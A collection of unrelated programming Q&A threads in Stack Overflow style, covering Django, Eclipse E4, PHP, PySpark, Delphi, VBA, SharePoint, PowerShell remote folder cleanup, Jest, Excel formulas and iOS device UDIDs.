if "%~4" == "" goto PARAMS

But all you need to check for all four parameters (if all 4 are required) is this:
if "%~4" == "" goto PARAMS

A: I Just changed to useing ' instead of " ,
if NOT '%1' == '' SET var1=%1
if NOT '%2' == '' SET var2=%2
if NOT '%3' == '' SET var3=%3

Ang got it working without the error, not sure if related to parameter expansion , as I am not using parenthesis


text:
Q: 'module' object has no attribute 'PeriodicTask' when accessing /admin I have djcelery installed and it seems it's installed properly:
In [1]: from djcelery import models

In [2]: models.PeriodicTask
Out[2]: djcelery.models.PeriodicTask

However, when I access the admin site, I get this error which seems to imply that there's an issue with djcelery. I suspect it has to do with my setup. The details of the error are below. Anyone seen this or have any thoughts?
AttributeError at /admin/
'module' object has no attribute 'PeriodicTask'
Request Method: GET
Django Version: 1.4
Exception Type: AttributeError
Exception Value:
'module' object has no attribute 'PeriodicTask'
Exception Location: /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/importlib/__init__.py in import_module, line 37
Python Version: 2.7.1

A: It turned out that I was getting this error because of an old tasks.pyc that was in one of my applications (where tasks.py had been removed). Djcelery automatically tries to load tasks.py file in all the installed apps, and this one apparently referenced PeriodicTask incorrectly.


text:
Q: Eclipse Plugin development showing and hiding menuContribution when opening and closing perspective I am developing my Eclipse Plugin using E4 2020-09 version. I created a Perspective and a menuContribution using Model Fragments. I have searched several tutorials but I have not seen any that showing how to make a menuContribution appear/disappear when opening/closing a Perspective in E4 during development. What I found was these examples: https://github.com/vogellacompany/codeexamples-eclipse but this function is implemented for E3 and I want to implement it in E4.
Can you give me some hints/advices about this technique and how it is called or where to start with it?
Thanks and best regards.

A: You can do this in the 'Visible-When Expression' for the menu items.
Set the expression to be 'ImperativeExpression'. And create a class to handle the expression. This class just has a single method annotated with @Evaluate which is called each time the menu item might be displayed:
@Evaluate
public boolean evaluate(EModelService modelService, .... other parameters)
{
  // TODO determine if menu item should be visible
}

This class can then use the getActivePerspective method of EModelService to check if the menu item should be visible.

A: 449,
Thank you for you answer, I finally made it according to your instruction. I will leave my reference code here in case there are people asking about this:

*

*Create MenuContributionsHandler class

package com.catto.ide.dev.handlers;

import javax.inject.Inject;

import org.eclipse.e4.core.di.annotations.Evaluate;
import org.eclipse.e4.ui.model.application.ui.advanced.MPerspective;
import org.eclipse.e4.ui.model.application.ui.basic.MWindow;
import org.eclipse.e4.ui.workbench.modeling.EModelService;

public class MenuContributionsHandler
{
    @Inject MWindow window;

    @Evaluate
    public boolean evaluate(EModelService modelService)
    {
        // TODO determine if menu item should be visible (return true)
        MPerspective currentPerspective = modelService.getActivePerspective(window);

        if (null != currentPerspective)
        {
            return currentPerspective.getLabel().equals("SnowCatto");
        }

        return false;
    }
}

*Add this class to the Imperative Expression to MenuContribution Class URI.

Best regards.


text:
Q: Pairwise subtraction of two arrays There are two arrays:
 $arr1 = array(1,2,3);
 $arr2 = array(0,0,1);

I need to make pairwise subtraction of these two arrays. The result for arr1 - arr2 should be:
$arr3 = array(1,2,2).
Do I need to use FOR loop to to this or is there any quicker way?

A: In addition to the other answers, you could also use array_map()
function sub($x, $y){
    return $x - $y;
}

$arr3 = array_map('sub', $arr1, $arr2);

A: How about this function?
function array_sub_values($arr1, $arr2)
{
    $result = array();
    foreach ($arr1 as $k => $val)
        $result[] = $val - $arr2[$k];
    return $result;
}

So you can do:
$arr1 = array(1, 2, 3);
$arr2 = array(0, 0, 1);

$arr3 = array_sub_values($arr1, $arr2);


text:
Q: is there a way to check if a given field exists in pyspark and mongodb? I have a collection of documents with N fields, one of them is a string field that contain some text. This field is not in every document.
For the given task, I have 2 main choices:
1) create the field in documents where is missing and replace with some placeholder text.
2) delete the document.
In mongodb I could handle this situation easily with { field: { $exists: <boolean> } } syntax but I'm using pyspark with mongodb connector. Reading the documentation I didn't find anything useful.
Anyone can suggest me a possible solution? Thanks
Edit
As suggested in the answer, what I miss is that pyspark.sql module is (obviously) based on relational model and so missing document fields are treated as null (see image and reviewText fields):

A: Assuming i understand you question correctly:

*

*your_df.withColumn("your_column",when(col("your_column").isNull, lit("smth")).otherwise(col("your_column"))

*just filter the record -> your_df.where(col("your_column").isNotNull).
If it is not what u were looking for, please provide some more information about your question.(and examples).


text:
Q: SFML SetFramerateLimit Not Limiting Frame Rate Compiler: Visual C++
OS: Windows 7 Enterprise
For some reason, Window::SetFramerateLimit isn't limiting the frame rate in the app I'm working on, but it works fine for others. The framerate is capped to 60, but mine jumps around at 100-99 and then goes down to 50 sometimes. It actually causes serious issues. For example, if I create many objects on screen, I'll see a heavy performance hit, whereas others report no change.
Any ideas regarding why this is happening? If you need more information, I'd be happy to oblige.
Thanks.
P.S. I have strong reasons to believe that it is not simply a case of "their hardware is just more powerful than yours."

A: Solved by setting vertical sync to true.


text:
Q: Processing statistics: upon page request or by pixel-tracking I'm currently in the process of developing a statistics module for my pages. I'm currently considering the following two techniques to enable page-specific statistics:

*

*Querying the database directly upon request. This increases the time it takes to generate the page by about 100-200ms, which increases the overall time it takes to generate a page = bad.

*Using a technique like tracking pixel. Inserting a 1x1 image at the bottom of my content, ensuring it gets loaded after all the content has been loaded. This doesn't directly **affect page generation times.
<img src="tracking.php?pageID=391" width=1 height=1 />
I'm not stupid – I do realize that somewhere it will take the server 200ms to handle the information (gather, structure and insert), however, this shouldn't affect the user.
One adventage I can see by using method one is that the statistics are updated BEFORE content is served, as opposed to method two – meaning that half-a-second visits counts too. Sometimes good, sometimes bad.
What's the prefered way, preformance and smoothness wise to process statistics data? I'm open to other techniques aswell.

A: My perfered way:  Awstats.  It uses the apache log files to gather statics.  But it really depends on what you want to gather.
Awstats will gather the number of requests, time of day, what brower, IP address.  Anything that is in the apache logs. Best of all, it has zero impact on page loads and doesn't require adding additional mark up to your pages.

A: I would think that updating a database with statistical information on a per-hit basis would be too expensive, not necessarily from the perspective of load time, but also in doing an extra database call on every single page hit.  I suppose that cost does depend on your expected traffic, but I would think the tracking pixel would be much better.

A: Use asynch monitoring. Deploy a javascript listener on each page and that can fire an ajax call to the remote stats collector with all the details you want to capture. This does not affect page load time.


text:
Q: List custom post type by custom field date I'm working with Wordpress and WP-Types plugin and need to sort CPT by a custom field date.
This work fine:
$args = array(
    'post_type' => 'parties',
    'paged' => $paged,
    'meta_key' => 'wpcf-parties_date',
    'orderby' => 'meta_value',
    'order' => 'DESC',
);

The orderby works perfect.
On the Database the value of the field date 'wpcf-parties_date' is store in this way ex: 1349481600 .
I have two templates where i need to show past and upcoming Posts. My question is how can i display only the future or past posts regarding the current date?
I try this with no luck.
$args = array(
    'post_type' => 'parties',
    'paged' => $paged,
    'meta_key' => 'wpcf-parties_date',
    'meta_value' => date('d.m.Y H:i:s'),
    'meta_compare' => '>',
    'orderby' => 'meta_value',
    'order' => 'ASC'
);

I using WP_Query for the loop.
Thanks in advance!!

A: You may try meta_query to check both < and > and also use meta_value_num because your custom field value is numeric (1349481600).
$current_date=strtotime(date('d.m.Y H:i:s'));
$args = array(
    'post_type' => 'parties',
    'paged' => $paged,
    'meta_key' => 'wpcf-parties_date',
    'orderby' => 'meta_value_num',
    'order' => 'ASC',
    'meta_query' => array(
        array(
            'key' => 'wpcf-parties_date',
            'value' => $current_date,
            'compare' => '>'
        ),
        array(
            'key' => 'wpcf-parties_date',
            'value' => $current_date,
            'compare' => '<'
        )
    )
);

Read the documentation for more.


text:
Q: SoapUI mockservice - Groovy Script - how to send xml request nodes to mock response I am newbie with soapui and groovy.
I am trying to send mock response with same requested nodes along with original values
SOAP Request contains below tags and I want these nodes should appear in my mock response as is, I am not sure how I can achieve it
 <Params>
    <ORArray>
        <ORN>1234</ORN>
        <ORN>1235</ORN>
        <ORN>1236</ORN>
        <ORN>1237</ORN>
    </ORArray>
    <ORVolArray>
        <ORVOL>54242</ORVOL>
        <ORVOL>54243</ORVOL>
        <ORVOL>54244</ORVOL>
        <ORVOL>54245</ORVOL>
    </ORVolArray>
    <ORPRArray>
        <ORPR>1414</ORPR>
        <ORPR>1415</ORPR>
        <ORPR>1416</ORPR>
        <ORPR>1417</ORPR>
    </ORPRArray>
</Params>

I am trying below code but not able to include request tags in mock response
def holder = util.getXmlHolder(mockRequest.requestContent)
def params = holder.getDomNodes("//*:Body/*:abc/*:xyz/*:Params").toString()
context.setProperty("Params", params)

updated mock response to replace with requested content but it is not working
<Params>${params}</Params>


text:
Q: How to make an extension app which provide resource for a main app I have an app which need some built-in resources and let users to search on those resource. Those resources are not static, I will update it sometimes, and because Google Play required APK file be no more than 50MB (it's documented here), so I want to divided my app into 2 or more apps with a main app and others provide resources for the main app.
Like this one:

*

*Aviary - Main App: https://play.google.com/store/apps/details?id=com.aviary.android.feather&feature=search_result

*Aviary - I call this "resource app": https://play.google.com/store/apps/details?id=com.aviary.android.feather.plugins.stickers.free_stickers&feature=search_result
Explain about Aviary: in the main app of Aviary, there's a function which required the resource app in order to run. The resource app doesn't have any activities, and whenever the resource app is installed, the function will be available.
So my question is: how to make a resource app like that? Moreover, I also want the resource app to be able to provide some database for the main app for searching purpose once it's installed.
I thought about ContentProvider, but it seems only can provide database, I don't know what to do with real resource like images or media files.
Any suggestion is appreciated.
Thanks!


text:
Q: File date returning wrong in Delphi xe5 I am using a simple command to get the file date from a file, but keep getting the wrong date.
On my computer i looked and saw the date was 14/3/2014.
But when i run the command i get 30/12/1999 no matter what file i try, it stays the same return date.
I've tried
BackupFileDate:=FileAge(S);;
    originalfiledate:=FileAge(fileName);

And
BackupFileDate:=GetFileModDate(S);
originalfiledate:=GetFileModDate(Filename);

function GetFileModDate(filename : string) : TDateTime;
var
   F : TSearchRec;
begin
   FindFirst(filename,faAnyFile,F);
   Result := F.TimeStamp;

   //Result := F.Time;
   FindClose(F);
end;

Both have the same result.
PS: both BackupFileDate and originalfiledate are now defined as TDate, I've already tried TDateTime as-well with the same result.
I would like to get the date and time last edited of the file.

A: FileAge returns a time stamp used by the OS to record information such as the date and time a file was modified.
You should use the FileDateToDateTime function to convert the Integer value to a more manageable TDateTime format:
FileDateToDateTime(FileAge(fileName));

Note:
function FileAge(const FileName: string): Integer; overload;

is deprecated. There is another version of FileAge
function FileAge(const FileName: string; out FileDateTime: TDateTime; FollowLink: Boolean = True): Boolean;

that returns the time stamp of FileName in the FileDateTime output parameter.
FileAge(filename, timeDate);

EDIT
Depending on the use of the data, it may be (very) important to convert from UTC to local time.

A: tl;dr Use TFile.GetLastWriteTime or TFile.GetLastWriteTimeUtc.

Your first attempt fails because FileAge returns DOS date time value. That's completely different from a TDateTime.
Your second piece of code essentially works, modulo the fact that you neglected to check for errors. The likely explanation for the error is that you passed an invalid file name. When the call to FindFirst fails, the search record that is returned is undefined.
The TimeStamp property of TSearchRec converts the file time from UTC to local, and then converts from file time to TDateTime.
You'd want to fix the lack of error handling like this:
function GetFileModDate(const FileName: string): TDateTime;
var
  F: TSearchRec;
begin
  if FindFirst(filename, faAnyFile, F)<>0 then
    raise SomeException.Create('...');
  Result := F.TimeStamp;
  FindClose(F);
end;

You should be clear that this returns a TDateTime in local time.
That said, I would do it in a platform independent way using IOUtils. Specifically TFile.GetLastWriteTime or TFile.GetLastWriteTimeUtc depending on how you want to deal with time zones.


text:
Q: Sorted list of file names in a folder in VBA? Is there a way to get a sorted list of file names of a folder in VBA? Up to now, I arrived at
Dim fso As Object
Dim objFolder As Object
Dim objFileList As Object
Dim vFile As Variant
Dim sFolder As String

sFolder = "C:\Docs"

Set fso = CreateObject("Scripting.FileSystemObject")
Set objFolder = fso.GetFolder(sFolder)
Set objFileList = objFolder.Files

For Each vFile In objFileList
    ' do something '
Next vFile

but it is crucial to be sure the processing order of the for loop is determined by the file names...
Any help appreciated!

A: Looks like you can do it by using an ADODB.RecordSet. It's a bit heavy duty, but here's a reference which should get you started.

A: Due to the high number of link only answers, including the accepted one, I will post a tested functional example of quicksort applied to an FSO files collection. The QuickSort will work on any array of strings. I took the code from the link posted by Mitch Wheat in the accepted answer and cleaned it up.
Option Explicit

' Return an array containing the names of the
' files in the directory sorted alphabetically.
Public Function SortedFiles(ByVal dirPath As String) As String()
    Dim fso As Object
    Set fso = CreateObject("Scripting.FileSystemObject")

    Dim listFolder As Object
    Set listFolder = fso.GetFolder(dirPath)

    ' Make the list of names.
    Dim fileCount As Long
    fileCount = listFolder.Files.Count

    Dim fileNames() As String
    ReDim fileNames(1 To fileCount)

    Dim i As Long
    i = 1

    Dim thisFile As Object
    For Each thisFile In listFolder.Files
        fileNames(i) = thisFile.Name
        i = i + 1
    Next thisFile

    ' Return the sorted list.
    SortedFiles = QuickSort(fileNames, 1, fileCount)
End Function

' Use Quicksort to sort a list of strings.
'
' This code is from the book "Ready-to-Run
' Visual Basic Algorithms" by Rod Stephens.
' http://www.vb-helper.com/vba.htm
Public Function QuickSort(ByVal list As Variant, ByVal min As Long, ByVal max As Long) As String()

    Dim midValue As String
    Dim high As Long
    Dim low As Long
    Dim i As Long
    Dim newList() As String
    newList = list

    ' If there is 0 or 1 item in the list,
    ' this sublist is sorted.
    If Not min >= max Then

        ' Pick a dividing value.
        i = Int((max - min + 1) * Rnd + min)
        midValue = newList(i)

        ' Swap the dividing value to the front.
        newList(i) = newList(min)

        low = min
        high = max
        Do
            ' Look down from hi for a value < mid_value.
            Do While newList(high) >= midValue
                high = high - 1
                If high <= low Then Exit Do
            Loop

            If high <= low Then
                newList(low) = midValue
                Exit Do
            End If

            ' Swap the lo and hi values.
            newList(low) = newList(high)

            ' Look up from lo for a value >= mid_value.
            low = low + 1
            Do While newList(low) < midValue
                low = low + 1
                If low >= high Then Exit Do
            Loop

            If low >= high Then
                low = high
                newList(high) = midValue
                Exit Do
            End If

            ' Swap the lo and hi values.
            newList(high) = newList(low)
        Loop

        ' Sort the two sublists.
        newList = QuickSort(newList, min, low - 1)
        newList = QuickSort(newList, low + 1, max)
    End If

    QuickSort = newList
End Function

A: The order is arbitrary.
When you walk over objFileList add the files to an array, then sort the array.


text:
Q: Difference between _layouts and _vti_bin in service SVC deployment I'm fighting with Services deployment under the SharePoint infrastructure.
It happens that I spent a lot of time trying to configure a REST SharePoint 2010 web service under the ISAPI (_vti_bin) folder. The service works after a simple deploy but I cannot find a way to get Users' info.
I tried to access it by

*

*SPContext.Web.CurrentUser

*ServiceSecurityContext.Current.WindowsIdentity.Name

*Thread.CurrentPrincipal.Identity.Name

But everytime it was null. I tried to apply a custom web.config on my Web Service so that I can specify the impersonation and so on but I cannot resolve the problem.
I solved the problem deploying it under Layouts so I ask:

*

*What's the difference between the two folder (in behavior, I already know the location and the distribution across web applications)?

*Why ISAPI is preferred for web service deployment?

*Is there any "good practice" I'm violating deploying it under layouts?

Thank you very much

A: If you deploy your web service to the layouts directory, you may run into some unexpected behavior with your web service.
ISAPI is the best practice location to deploy any custom web services. This is because this folder is set up to serve your web services via wswsdl and wsdisco.
As explained by James Tsai in his article Where do you deploy custom SharePoint web service files to?:

[The] _vti_bin (12\ISAPI) virtual folder has been configured to serve requests differently compared to other virtual folders in the SharePoint site.
Every web service request made to this directory will be parsed by wswsdl.aspx and wsdisco.aspx files in 12\ISAPI. wswsdl.aspx and wsdisco.aspx files then find correspondence (sic) wsdl and disco information for web service request and output correct contract reference and SOAP address.
...
Without this mechanism (web service request made to any other virtual folder on SharePoint site) the ASP.NET auto-generated disco and wsdl will be used. Since auto-generated disco and wsdl are unaware of the SharePoint service URL virtualization, results returned by web service become unreliable.

Check out the link for a test / proof of concept.


text:
Q: Writing the where clause when looking up a folder? When using

$optionquery = "SELECT OptionId FROM Option_Table WHERE (OptionType = ?)";

// Bind parameter for statement
$optionstmt->bind_param("s", $selected_option);

This is fine, but if I want to use the WHERE clause to look for the variable within a folder, how is it suppose to be written? Is it like this below?
$optionquery = "SELECT OptionId FROM Option_Table WHERE (OptionType = 'VideoFiles/?')";

// Bind parameter for statement
$optionstmt->bind_param("s", $selected_option);

or like this:
$optionquery = "SELECT OptionId FROM Option_Table WHERE (OptionType = ?)";

// Bind parameter for statement
$optionstmt->bind_param("s", 'VideoFiles/$selected_option');

Does the single quote go around both the foldername and the variable name or does it just go around the folder name?

A: You need to use the latter
$optionquery = "SELECT OptionId FROM Option_Table WHERE (OptionType = ?)";

There are a number of ways to quote the string, either of the following are fine:
$optionstmt->bind_param("s", 'VideoFiles/' . $selected_option);
// or
$optionstmt->bind_param("s", "VideoFiles/$selected_option");

Putting a variable in single quotes ' however will not work.  The variable will not be translated to its actual value, you will get the literal string $selected_option in the query if you use single quotes.


text:
Q: Django: Adding files to a form gives multiple argument error Hi I have a Django project working perfectly fine. Now I need to add a field to it to upload documents.
However after adding the file stuffs, Django gives errors. Unable to solve it even after whole day Googling.
Models.py
class salesman(models.Model):
    user=models.ForeignKey(settings.AUTH_USER_MODEL)
    company=models.ForeignKey(Organisation,related_name='salesmancomp')
    salesman_name=models.CharField(max_length=250)
    salesman_address=models.CharField(max_length=750,null=True,blank=True)
    salesman_PAN=models.CharField(max_length=250,null=True,blank=True)
    salesman_commission_rate=models.FloatField(null=True,blank=True)
    attachment = models.FileField(null=True,blank=True)

    class Meta:
        unique_together=(('company','salesman_name'),)

    def __str__(self):
        return self.salesman_name

forms.py
class salesmanform(forms.ModelForm):
    def __init__(self,user, *args, **kwargs):
        self.request = kwargs.pop('request', None)
        super(salesmanform, self).__init__(*args, **kwargs)

    class Meta:
        model=salesman
        fields=('salesman_name','salesman_PAN','salesman_commission_rate','salesman_address','attachment',)
        widgets = {
            'salesman_address': forms.Textarea
        }
    def clean(self):
        cleaned_data=self.cleaned_data
        salesman_name=cleaned_data['salesman_name']
        pk=self.instance.pk
        insert = pk ==None
        if insert:
            try:
                salesman.objects.get(salesman_name=salesman_name,company=self.request.user.company.entity)
            except salesman.DoesNotExist:
                pass
            else:
                raise forms.ValidationError("Salesman already exist.")
        else:
            pass
        return cleaned_data

Views.py
@login_required
def salesmancreate(request):

        action="Salesman Creation"
        if request.method == 'POST':
            rec_form=salesmanform(request.FILES,request=request,user=request.user,data=request.POST)
            if rec_form.is_valid():
                new_rec = rec_form.save(commit=False)
                new_rec.user = request.user
                new_rec.company=request.user.company.entity
                new_rec.save()
                return HttpResponseRedirect(reverse('salesmancreate'),{'section':'added'},messages.add_message(request, messages.SUCCESS,'Salesman added Succesfully'))
        else:
            rec_form=salesmanform(request=request,user=request.user)
        receivablescreated=salesman.objects.filter(company=request.user.company.entity).order_by('-id')
        return render(request,'account/salesman.html',{'rec_form':rec_form,'receivablescreated':receivablescreated,'action':action})

My Template
<form action="." method="post">

        {{ rec_form.salesman_name|attr:"class:form-control"|attr:"placeholder:Salesman Name"}}

        {{ rec_form.salesman_commission_rate|attr:"class:form-control"|attr:"placeholder:Commission Perentage" }}

        {{ rec_form.salesman_PAN|attr:"class:form-control"|attr:"placeholder:PAN of Salesman" }}

        {{ rec_form.salesman_address|attr:"class:form-control"|attr:"style:height: 83px;"|attr:"placeholder:Address of Salesman" }}

        {{ rec_form.attachment|attr:"class:form-control"|attr:"style:height: 83px;"|attr:"placeholder:Address of Salesman" }}

        {% csrf_token %}
            <button type="submit" class="btn btn-success rounded">Save</button>

</form>

Error Logs:
TypeError at /salesmancreate/

__init__() got multiple values for keyword argument 'user'

Request Method:     POST
Request URL:    http://127.0.0.1:8000/salesmancreate/
Django Version:     1.10
Exception Type:     TypeError
Exception Value:

__init__() got multiple values for keyword argument 'user'

Exception Location:     /Users/pulkitsharma/Documents/workspace/tiktant/invoice/views.py in salesmancreate, line 422
Python Executable:  /usr/bin/python
Python Version:     2.7.10
Python Path:

['/Users/pulkitsharma/Documents/workspace/tiktant',
 '/Library/Python/2.7/site-packages/pip-8.1.2-py2.7.egg',
 '/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python27.zip',
 '/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7',
 '/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/plat-darwin',
 '/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/plat-mac',
 '/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/plat-mac/lib-scriptpackages',
 '/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python',
 '/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-tk',
 '/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-old',
 '/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload',
 '/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC',
 '/Library/Python/2.7/site-packages']

Server time:    Thu, 3 Nov 2016 06:45:34 +0000

Environment:

Request Method: POST
Request URL: http://127.0.0.1:8000/salesmancreate/

Django Version: 1.10
Python Version: 2.7.10
Installed Applications:
('invoice',
 'django.contrib.admin',
 'django.contrib.auth',
 'django.contrib.contenttypes',
 'django.contrib.sessions',
 'django.contrib.messages',
 'django.contrib.staticfiles',
 'widget_tweaks')
Installed Middleware:
('django.contrib.sessions.middleware.SessionMiddleware',
 'django.middleware.common.CommonMiddleware',
 'django.middleware.csrf.CsrfViewMiddleware',
 'django.contrib.auth.middleware.AuthenticationMiddleware',
 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
 'django.contrib.messages.middleware.MessageMiddleware',
 'django.middleware.clickjacking.XFrameOptionsMiddleware',
 'django.middleware.security.SecurityMiddleware')

    Traceback:

    File "/Library/Python/2.7/site-packages/django/core/handlers/exception.py" in inner
      39.             response = get_response(request)

    File "/Library/Python/2.7/site-packages/django/core/handlers/base.py" in _legacy_get_response
      249.             response = self._get_response(request)

    File "/Library/Python/2.7/site-packages/django/core/handlers/base.py" in _get_response
      187.                 response = self.process_exception_by_middleware(e, request)

    File "/Library/Python/2.7/site-packages/django/core/handlers/base.py" in _get_response
      185.                 response = wrapped_callback(request, *callback_args, **callback_kwargs)

    File "/Library/Python/2.7/site-packages/django/contrib/auth/decorators.py" in _wrapped_view
      23.                 return view_func(request, *args, **kwargs)

    File "/Users/pulkitsharma/Documents/workspace/tiktant/invoice/views.py" in salesmancreate
      422.             rec_form=salesmanform(request.FILES,request=request,user=request.user,data=request.POST)

    Exception Type: TypeError at /salesmancreate/
    Exception Value: __init__() got multiple values for keyword argument 'user'

A: You override the __init__ method so that the first argument is user but you pass request.FILES instead. Change the line:
rec_form=salesmanform(request.FILES,request=request,user=request.user,data=request.POST)

to
rec_form = salesmanform(user=request.user, data=request.POST,
                        files=request.FILES, request=request)

As a rule of thumb, try not to mix named and positional arguments, especially when you change the class constructor signature. Also consider changing your form name to SalesmanForm to be more compliant with PEP-8 class naming conventions.


text:
Q: Error 502 Bad Gateway on Ngrok when i try connect with alexa when i try connect amazon develper with raspberry pi, using ngrok, only output 502 Bad Gateway.
I tried all, and i saw a lot fórums like this, but anything worked. I'm trying https://developer.amazon.com/blogs/post/Tx14R0IYYGH3SKT/flask-ask-a-new-python-framework-for-rapid-alexa-skills-kit-development.
Can you help me? Thanks

A: try using ./ngrok http 127.0.0.1:YOUR_PORT

A: Make sure your program is running on the Pi. Check localhost:"Your port number" and see if your default page shows up. ngrok simply tunnels whatever is on your localhost onto a web endpoint. Make sure your port number is correct. I know Flask-Ask uses port 5000.


text:
Q: Script Powershell to list and delete remote content folder Im working on a script to delete content of remote server's folder:
$Servers = Get-Content "D:\servers.txt"
$Path = "\D$\Test"
$Folders = "\\$Servers$Path"
Get-ChildItem "$Folders" -Recurse -Force | Select-object -Property FullName, LastWriteTime

Foreach ($Item in $Servers)
    {
    Get-ChildItem -LiteralPath "$Folders" -Recurse -Force | Remove-Item -Recurse -Force -Whatif
    }

I need first, list the content and then confirm before delete it.
I dont know if a have to use Foreach or not, if it is better use invoke-command, or invoke-command into the Foreach loop etc.
Sorry, im a totaly noob with PS :(
what is the best structure for this script ?
Many thanks :)

A: Hi again @Kristian Kanchev
This is the final script:
$Servers = Get-Content "D:\servers.txt"

$Folder = "\D$\Test"

foreach ($Server in $Servers)
    {
Write-output `n
Write-host -ForegroundColor Green List of content of "$Folder" in "$server"
Get-ChildItem "\\$server\$Folder" -Force | Select-object -Property FullName, LastWriteTime | Out-File "D:\result.txt"
Get-Content "D:\result.txt"

}
$delete = Read-Host Delete it Y/N?
Write-output `n
    if($delete -eq "Y") {

  foreach ($Server in $Servers)
    {
    Get-ChildItem "\\$server\$Folder" -Recurse -Force | Remove-Item -Recurse -Force
    if( (Get-ChildItem "\\$server\$Folder" | Measure-Object).Count -eq 0)
    {
Write-Host "Files and folders deleted from \\$server\$Folder" -ForegroundColor Green -BackgroundColor Black
    }
    }
}
elseif ($delete -eq "N") {

Write-Host "Deletion cancelled" -ForegroundColor Yellow -BackgroundColor Black
Write-output `n
}
else {
        Write-Host "Script cancelled" -ForegroundColor Red -BackgroundColor
Black
        Write-output `n
        exit
}

Best regards ;)

A: Yes you can use Invoke-Command before Get-ChildItem $Folders -Recurse -Force | Select-object -Property FullName, LastWriteTime | Out-File \\YOURPC\c$\Temp\result.txt. For testing purposes I did no use it.

*

*You go through the list of server.

*You output the list to a file, so you can check.

*You provide the script with an answer Y/N.

*Remember to remove -WhatIf and you can add -Verbose, so you can see what was deleted just in case.

Hope the below code helps.
$Servers = Get-Content "C:\Temp\servers.txt"
$Path = "c$\Temp2"
$Folders = "\\$Servers\$Path"

ForEach ($server in $Servers) {

    Get-ChildItem $Folders -Recurse -Force | Select-object -Property FullName, LastWriteTime | Out-File \\YOURPC\c$\Temp\result.txt

}

$delete = Read-Host "Should the listed files in C:\Temp\result.txt be deleted Y/N?"

if($delete -eq "Y") {

    foreach ($server in $Servers) {
     Get-ChildItem -LiteralPath "$Folders" -Recurse -Force | Remove-Item -Recurse -Force -WhatIf
     Write-Host "Files/Folders deleted." -ForegroundColor Green -BackgroundColor Black
    }
}
elseif ($delete -eq "N") {
        Write-Host "Deletion cancelled." -ForegroundColor Yellow -BackgroundColor Black
}
else {
        Write-Host "Invalid option, exiting script.." -ForegroundColor Red -BackgroundColor Black
        exit
}


text:
Q: Unable to mock react hooks with jest I'm using Jest to test a file written in react, I'm trying to mock the hooks but for some reason I still fail. I've tried to follow several suggestions (included stackoverflow answers) but nothing is working. I've tried to simplify the code to find my mistake but it still failing.
// myFileToTest.js

import { useContext, useState } from 'react';

export const returnsUseContext = () => {
    return useContext;
};

export const returnsUseState = () => {
    return useState;
};

// myFileToTest.test.js
import React from 'react';
import { returnsUseContext, returnsUseState } from './myFileToTest';

describe('test 1', () => {
    let realUseContext;
    let useContextMock;
    beforeEach(() => {
        realUseContext = React.useContext;
        useContextMock = React.useContext = jest.fn();

    });
    // Cleanup mock
    afterEach(() => {
        React.useContext = realUseContext;
    });

    it('first try', () => {
        expect(returnsUseContext()).toBe(useContextMock);
    });
});

describe('test 2', () => {
    beforeEach(() => {
        jest.spyOn(React, 'useState').mockReturnValue({
            name: 'hello'
        });
    });

    it('second try', () => {
        const useStateMock = jest.spyOn(React, 'useState');
        expect(returnsUseState()).toBe(useStateMock);
    });
});

and are both failing. Am I making any silly mistakes?


text:
Q: If Index And Match I've got a function that uses If, Index, And, and Match. It is supposed to change the desired value when I toggle a built-in drop-down table that has 2 options ("good" and "bad"). If "good" is selected, the desired cell gives a result of "3". If "bad" is selected, I erroneously get an "N/A" error. I've racked my brain and all I can think of is there is some text/number issues with the match.. any suggestions? Here is the formula:
=IF(AND(MATCH(B2,$AO$2:$AO$31,0),MATCH("Good",$AU$2:$AU$31,0),C2="SG"),3,IF(AND(MATCH(B2,$AO$2:$AO$31,0),MATCH("Bad",$AU$2:$AU$31,0),C2="SG"),-5))

A: You can't use MATCH as a test on it's own because it doesn't return TRUE/FALSE, it returns either a number or #N/A error, so if there is no match the formula errors out, use ISNUMBER function wrapped around MATCH to return TRUE/FALSE as required in this situation, e.g. in place of your first MATCH use
=ISNUMBER(MATCH(B2,$AO$2:$AO$31,0))
...and the same for the other MATCH functions
...or you can use COUNTIF which will return a positive number (a match) or a zero (no match) e.g.
=COUNTIF($AO$2:$AO$31,B2)
In an IF function any non-zero number will equate to TRUE and zero to FALSE


text:
Q: Inherit IEnumerable from Object consequences I posted an answer to this question, including a very short rant at the end about how String.Split() should accept IEnumerable<string> rather than string[].
That got me thinking.  What if the base Object class from which everything else inherits provided a default implementation for IEnumerable such that everything now returns an Enumerator over exactly one item (itself) -- unless it's overridden to do something else like with collections classes.
The idea is that then if methods like String.Split() did accept IEnumerable rather than an array I could pass a single string to the function and it would just work, rather than having to much about with creating a separator array.
I'm sure there are all kinds of reasons not to do this, not the least of which is that if everything implemented IEnumerable, then the few classes where the implementation strays from the default could behave differently than you'd expect in certain scenarios.  But I still thought it would be a fun exercise: what other consequences would there be?

A: public static IEnumerable<object> ToEnumerable(this object someObject)
{
    return System.Linq.Enumerable.Repeat(someObject, 1);
}

A: the index operator ([]) isn't part of the contract of IEnumerable<T>
After looking at the code in reflector, the code uses the index operator heavily, which is always part of Array.
Well, simply put, Array will always have an enumerator.

The idea is that then if methods like String.Split() did accept IEnumerable rather than an array I could pass a single string to the function and it would just work, rather than having to much about with creating a separator array.

That isn't true, string inherits IEnumerable<char>  And you don't have generic variance, so you can't cast IEnumerable<char> to IEnumerable<string>.  You would be getting the IEnumerable<char> version(s) of split, rather then the required string.

A: Have you thought about using a helper object and implementing a Split for the IEnumerable class?
I did once make a GetDescription for the Enum class so to get the DescriptionAttribute easily. It works amazingly well.


text:
Q: How to get the UDID of a dead iOS device? I have dead, lost, stolen, etc. iOS devices on my developer account and I've used all 100 slots. I have serial numbers for these devices, but do not know the UDIDs to remove them. Can I do anything but grovel to Apple?

A: build a dummy provision file and include all devices from your portal on it .. open the provision with TextEdit .. find the key "ProvisionedDevices" under this key you find all the devices UDID .. since you have the working Devices UDID find it and mark them .. finally the un marked ID's will be your Black List :)


text:
